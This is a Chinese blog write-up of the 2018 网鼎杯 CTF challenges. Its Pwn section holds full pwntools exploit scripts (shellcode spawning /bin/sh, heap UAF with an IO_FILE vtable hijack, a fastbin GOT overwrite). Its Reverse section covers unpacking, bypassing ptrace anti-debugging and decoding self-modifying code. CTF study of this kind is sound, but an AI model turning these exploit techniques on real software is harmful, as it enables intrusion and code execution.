2018网鼎杯

  1. 2018网鼎杯
    1. Pwn
      1. note
      2. note2
      3. soEasy
      4. pesp
    2. Revrese
      1. i_like_pack
      2. babyre
      3. SimpleSMC
    3. 网鼎杯RE考点
    4. 逆向例题
      1. 知识点

2018网鼎杯

[toc]

今年网鼎杯5月10日开赛。第一届在前年举办,参赛队伍众多,堪称网络安全”奥运会“。谷歌了一圈,第三场的 Pwn Writeup 不齐全。第三场有4道题目。有两道题目比较有趣,写一篇博文记录心得。

Pwn

note

下标溢出+改puts_got+写shellcode。

from pwn import  * 
import primedbg
context.log_level='debug'
io=process('./deathnote')
if len(sys.argv)>1 and sys.argv[1]=='dbg':
    primedbg.p_attach_dbg(io,[0x00011E9])
def cmd(idx):
    global io; io.sendlineafter('hoice>>',str(idx))

def add(idx,sz,c):
    global io; cmd(1)
    io.sendlineafter('Page:',str(idx))
    io.sendlineafter('Size:',str(sz))
    io.recvuntil('Name:')
    io.send(c)

def show(idx):
    global io; cmd(3)
    io.sendlineafter('Page:',str(idx)   )

def free(idx):
    global io; cmd(2)
    io.sendlineafter('Page:',str(idx))

io.sendlineafter(' me your name:','/bin/sh\x00')
sc1=asm('xor eax, eax') + '\xeb\x1c' # jmp 0x20
sc2=asm('mov al, 0x3b') + '\xeb\x1c' # jmp 0x20
sc3=asm('syscall;ret') + '\x00' 
sc4=asm('xor edx, edx')+'\xeb\x9c' # jmp -0x60 (jmp back to sc1)

add(0,4,sc1)
add(0,4,sc2)
add(0,4,sc3)
add(0x100000000-25,4,sc4) #puts_got
#primedbg.p_attach_dbg(p,[0x0001238],{'page':0x2020E0})
show(0x100000000 - 4)


io.interactive()

note2

分析程序

保护机制

保护选项全部开启。

RELRO等级为FULL,GOT表劫持不可行。 FORTIFY 开启,格式化字符串优化了。

PIE 开启,ELF在内存中的地址随机了。

运行程序

题目输出内容和第一题 deathnote 差不多。 Write Delete Exit 三个功能。

IDA 静态分析一番后,我发现作者在堆管理相比于第一版的管理机制增加了一些特点,安全性提高。但毕竟低级的 堆管理还是很脆弱的。 以前分析过 glibc 的堆管理源码的人都晓得,代码量巨多、堆块检查多样、数据结构设计的精巧。 这道题目堆管理的机制确实比glibc的低级很多。 好了,不说这么多口水话了,逆向分析审计逻辑。

low_malloc_func 分析。

low_malloc_func-1

内存块小于0x70字节的申请从 xmmword_202120 链表中获得。这个链表是一个低级版本的fastbin。

low_malloc_func-2

申请空间大于0x70的从另一个空闲bin中获得,这里模拟了glibc unsortedbin,我随手命名成 largebin 了。这里的bin是单链表,遇到足够大的内存块就取下来。 注意最后一行,szie 字段最低位没有置1以示占用。

low_malloc_func-3

两个bin都没有则从 topchunk 中获得。

接下来分析 low_free_func。

low_free_func-1

小块放入fastbin

low_free_func-2

相邻下一个chunk正好是top时,当前chunk和top合并。末位清零。

low_free_func-3

相邻下一个chunk不为top且占用时,直接放入largebin

image-20200415112500837

相邻下一个chunk不为top且为占用,合并。

漏洞分析

方才说到 low_malloc 函数有一处分配的 chunk 没有标记占用,此为漏洞点一。 漏洞点二在于 low_free 函数合并相邻下一个chunk时未 unlink 对应的 chunk。这里我利用漏洞点二进行攻击

攻击思路

  • 漏洞点二造成UAF、篡改 fd 字段。
  • 由于堆管理机制低级,未做有效检查,实现任意地址分配。
  • 任意地址读写。

程序开了PIE,堆管理的内存块没有指向 ELF 的符号或 libc 的符号。这里有一点需要注意。

vmmap

mmap 返回的内存地址与 libc.so 的基地址是一个固定值。

这样通过泄露 chunk 的 fd,来确定基地址。这样一来就确定了 one_gadgets 和 _IO_2_1_stdout 。

GOT表劫持行不通,没有hook可写。IO_FILE 有一处 vtable 函数表,可以篡改。

rw-p 页可写

分析 puts 函数

ioputs.c

根据逻辑短路,直接跳进 _IO_sputn() 。 (推荐用 vs code 查看源码。

好了,没有任何检查,直接行动!

_IO_jump_t

__xsputn 偏移8个指针。伪造就完事了。

Pwned!

exp

from pwn import * 
from primedbg import * 
import sys
p=process('./deathnote2_new')
context.arch='amd64'

fastbin=0x00202120
largebin=0x000202168

def cmd(i):
    global p; p.sendlineafter('choice>>',str(i))

def add(sz,c):
    global p; cmd(1)
    p.sendlineafter('Size:',str(sz))
    p.sendafter("Name:",c)

def free(i):
    global p; cmd(2)
    p.sendlineafter('Page:',str(i))

def show(i):
    global p; cmd(3)
    p.sendlineafter('Page:',str(i))
# brk points #show 0x001190 ; #add ret 0x0E7B
if len(sys.argv)>1:
    attach_dbg_pie(p,[0x0001190 ],{'list':0x0202060,'fastbin':fastbin,'largebin':largebin})


#pause()
p.sendline('/bin/sh')
add(0x20,'#0\n')
add(0x80,'#1\n')
add(0x20,'#2\n')
add(0x20,'#3\n')
add(0x20,'#4\n')

free(3)
free(2)
free(1)
#show(0)
add(0x98,'a'*0x90+'a'*8) #1
show(1)
p.recvuntil('a'*0x98)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap>>=12; heap<<=12
print('heap',hex(heap))
libc=heap-6201344
print(hex(libc))
stdout_vtable=3954424+libc-0x10

vtable=flat([
    0,0,0,0,0,0,0,
    0x4526a+libc
])
add(0x100,vtable+'\n') #2
fvtable=heap+0x1b0

free(1)
add(0xc0,'a'*0x90+p64(0x40)+p64(stdout_vtable)+'\n') #1
add(0x20,'#3\n') #3
show(0) # 2nd
add(0x20,p64(fvtable)+'\n') #4
# show(0)


p.interactive()

soEasy

真的easy

from pwn import * 
from primedbg import *
#context.terminal=['tmux','splitw','-h']
io=process('./pwn')
io.recvuntil('->')
buf_addr=int(io.recv(10),16)
print(hex(buf_addr))
sc = ''
sc += 'push 0x68732f\n'
sc += 'push 0x6e69622f\n'
sc +=  'mov ebx, esp\n'
sc += 'xor ecx, ecx\n'
sc += 'xor edx, edx\n'
sc += 'push 0xb\n'
sc += 'pop eax\n'
sc += 'int 0x80\n'
sc=asm(sc)
sc=sc+(0x4c-len(sc))*chr(0x90)+p32(buf_addr)+'\n'   
print(len(sc))
io.send(sc)
io.interactive()

pesp

fastbin attack 堆溢出 改写 item_list 指针实现任意地址读写。

from pwn import * 
import primedbg
import sys
p=process('./pwn_new')
context.terminal=['tmux','splitw','-h']
team=0x0006020C8
item=0x06020C0 

def cmd(i):
    global p; p.sendlineafter('Your choice:',str(i))

def add(sz,c):
    global p; cmd(2)
    p.sendlineafter('f servant name:',str(sz))
    p.sendafter('ame of servant:',c)

def edit(i,sz,c):
    global p; cmd(3)
    p.sendlineafter('servant:',str(i))
    p.sendlineafter(' servant name:',str(sz))
    p.sendlineafter('ew name of the servnat:',str(c))

def show():
    cmd(1)

def free(i):
    global p; cmd(4)
    p.sendlineafter('servant:',str(i))

add(0x28,'#0\n')
add(0x28,'#1\n') #1
add(0x28,'#2\n') #2
add(0x31,'top\n') #3
free(1)
edit(0,0x100,'a'*0x28+p64(0x31)+p64(item+16*3-8)+'\n')
edit(0,0x28,'/bin/sh\x00') #0
add(0x28,'#1\n')


add(0x28,p64(0x602018)+p64(0x31)+p64(0x0602068)) #4 key #3
show()
if len(sys.argv)>1:
    primedbg.attach_dbg(p,[0x0400C4B ],{'team':team})
p.recvuntil('3 : ')

m=u64(p.recv(6).ljust(8,'\x00'))
puts_off=m-p.libc.address
libcbase=m-0x844f0
print('base',hex(libcbase))
pause()
edit(4,0x8,p64(libcbase+0xf1147))
cmd(4)
p.interactive()

Revrese

i_like_pack

upx加壳

checksec 程序明显加壳了。

脱壳失败,据一篇博文说可能upx的特征值被修改了(做完题后考证),导致无法用工具脱壳。无奈另寻出路了。

加了反调试。 gdb 调试用了ptrace ,这里应该关闭了。

% strace ./re 

查看系统调用,意料之中。

bypass ptrace 常见方法

  • 方法一,不使用ptrace调试器(gdb就是基于ptrace机制)
  • 方法二,将ptrace部分patch掉
  • 方法三,通过LD_PRELOAD环境变量将可执行文件执行自己写的ptrace函数
  • 方法四,通过catch syscall ptrace下,然后修改ptrace返回值

走起!

0x400000,64位动态链接ELF的基地址。dump 0x400000-0x611000

dump

ida

简单的乱序数组。 ida 的 0xf0e0 地址处于堆,数据为空,不晓得为何。

gdb 查看内存

很好,写脚本,出flag

mem=[0x00000003,      0x00000004 ,     0x00000005,     0x00000006,
0x00000007,      0x00000008 ,     0x00000009,     0x0000000a,
0x0000000b,      0x0000000c ,     0x00000034,     0x00000035,
0x00000036,      0x00000037 ,     0x00000038,     0x00000039,
0x00000000,      0x00000000 ,     0x00000000,     0x00000000]

a = [11, 8, 7, 7, 8, 12, 3, 2, 16, 6, 13, 5, 7, 16, 4, 1, 0, 15, 16, 8, 3, 6, 14, 16, 0, 8, 6, 9, 12, 14, 13, 11, 15, 7, 11,14]

for i in range(36):
    print(chr(mem[a[i]]+45),end='')

开心

To-do

  1. upx 脱壳失败原因。
  2. gdb 反调试原理。
  3. 调试多进程。
  4. dump 内存。
  5. 脱壳技术,ESP定律。

加壳

加壳是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,做一些额外的工作。大多数病毒就是基于此原理。是应用加固的一种手法对原始二进制原文进行加密/隐藏/混淆。

加壳原因:

  1. 增加破解难度。
  2. 对于恶意软件来说,绕过杀毒软件查杀。

* 优势: ①、保护自己核心代码算法,提高破解/盗版/二次打包的难度 ②、还可以缓解代码注入/动态调试/内存注入攻击.

  • 劣势: ①、影响兼容性 ②、影响程序运行效率.

babyre

这是一道 简单的 .NET 逆向题。使用 dnSpy 动态调试,能看到反编译的源码。

工欲善其事必先利其器,找到合适的利器事半功倍。dnSpy

常见语言的反编译反汇编工具:

C/C++: IDA Pro

.NET: dnSpy 、 JetBrains dotPeek

python: uncompyle6

调试方法:

  1. 打开程序,点击运行,点 flag 按钮。
  2. 代码窗口停留在了 messagebox 当中。
  3. 跳出库函数,来到了 WindowsApp1
  4. flag 明文写在了 Form1 和 Form1_Load 当中。

Todo

  1. 多练一道 .NET 逆向题。

  2. 了解工具

    https://www.52pojie.cn/forum.php?mod=forumdisplay&fid=4&filter=typeid&typeid=124

SimpleSMC

程序是静态链接编译的

随机输入发生段错误。

导入 FLIRT 签名文件

选择最近的环境。 此处是 ubuntu16.04 。原因如下。

导入签名文件后,左侧的函数名称恢复了大部分。搜索字符串定位到 main。

loc_400bac 用到了参数 v5, v5 是 输入的一部分。相对对v4偏移21个字节。 从伪代码可以看出,当两个函数返回真时,就破解成功了。

点进 loc_400bac 函数,看看有什么宝贝。

0x400bc8 有花指令。 花指令的存在干扰我们阅读反汇编代码,增加破解难度。 我们需要去花。 0x400bbc 直接跳转到 loc_400bc9 ,那直接把 0x400bc8 一个字节 E8 nop 掉(改成 0x90) 。

左侧红棕色可以看出,这部分汇编代码运行不了。因为它构成完整的函数调用。 右键生成函数。 F5 看源码

loc_400aa6 的连续若干字节被改了。text段可改。怪不得叫 SMC (Self Modify Code) 。 应该调用了 mprotect ,去验证猜想。

F5 看源码弹出错误,修改一下 sp 值调整为栈平衡。 (alt + K 快捷键)。

add rsp,4 ,故在 leave 之前平衡栈顶,修改后,即可 F5。 但存在花指令干扰。按照刚才的方法去花。再看源码。 可以适当去掉一些跳转指令,可以使得源码更好看。

call => nop

验证了调用 mprotect 的猜想。 19行 和 sub_41e1b0 进行了异或变换。 注意到 -61=0xc3 ,是 ret指令的机器码。 所以执行到 sub_400bac 函数时, loc_400aa6 函数块的数据早已被修改。 这里的数据需要动态调试获得,或者IDAPython直接改text的内容。

返回到 400bac 函数看看。 a1[0..6] 七个字节异或,这个7个字节的key要猜测。 loc_0x400aa6 是一个完整的函数。那么开头指令必定是 push rbp; mov rbp, rsp; sub rsp ??? 对应的指令为 55 48 89 E5 48 83 EC

下断到这里查看内容。

拷贝前六个字节,写脚本得出key

data=[0x13 ,0x79 ,0xc9 ,0x82 ,0x0b ,0xeb,0x89]
fcode=[0x55 ,0x48 ,0x89 ,0xE5 ,0x48 ,0x83 ,0xEC]
key=''
(0..6).each do |i| key<<(fcode[i]^data[i]).chr end
puts key

key=F1@gChe

写进IDAPthon修改 loc_400aa6 处的数据。

key='F1@gChe'

addr=0x400aa6 
malloc_addr=0x041E1B0

i=0
while(Byte(addr+i)!=0xc3):
    PatchByte(addr+i,Byte(addr+i)^Byte(malloc_addr+i))
    i+=1

i=0
while(Byte(addr+i)!=0xc3):
    PatchByte(addr+i,Byte(addr+i)^ord(key[i%7]))
    i+=1 

按d可以转换数据为code,方便我们阅读汇编,美化后,按 F5,完美。

折半异或。逆序异或即可得出flag。 第一次做出这么复杂的逆向。 嗨森 ;-)

解密脚本

#/bin/ruby
key=[ 0x66, 0x0A, 0x07, 0x0B, 0x1D, 0x08, 0x51, 0x38, 0x1F, 0x5C,  0x14, 0x38, 0x30, 0x0A, 0x1A, 0x28, 0x39, 0x59, 0x0C, 0x24,  0x24, 0x22, 0x01, 0x1F, 0x1E, 0x73, 0x1D, 0x3A, 0x08, 0x05, 0x15, 0x0A]
s=''
i=1 
until i==32 do (0..i-1).each do |k| key[k+i] ^= key[k]  end ; i <<= 1 end 

key.each do |i| s<<i.chr end

puts s

#flag{d0_y0u_Kn*w_5mC_F1@gCheCk?}

Todo

  1. 编译静态链接程序,在IDA中恢复符号表 https://github.com/push0ebp/sig-database

网鼎杯RE考点

  1. python字节码 自己写一个。
  2. 花指令去除
  3. .NET 动态调试。
  4. 反调试、加壳技术。

逆向例题

推荐:https://capturetheflag.withgoogle.com/#beginners/reversing-rand2

JavisOJ Crackme1 Crackme2

知识点

OD使用教程 https://blog.csdn.net/dyxcome/article/details/91348410

逆向工具https://down.52pojie.cn/Tools/PEtools/

关闭aslr http://www.sweetscape.com/download/010EditorWin64Installer.exe

vmpy https://medium.com/@julianrunnels/google-ctf-reversing-a-program-made-of-emojis-b4c8af473278


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:2018网鼎杯

本文作者:枫云李

发布时间:2020-04-15, 00:00:00

最后更新:2020-04-21, 22:11:24

原始链接:https://primelyw.github.io/2020/04/15/2018%E7%BD%91%E9%BC%8E%E6%9D%AF/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github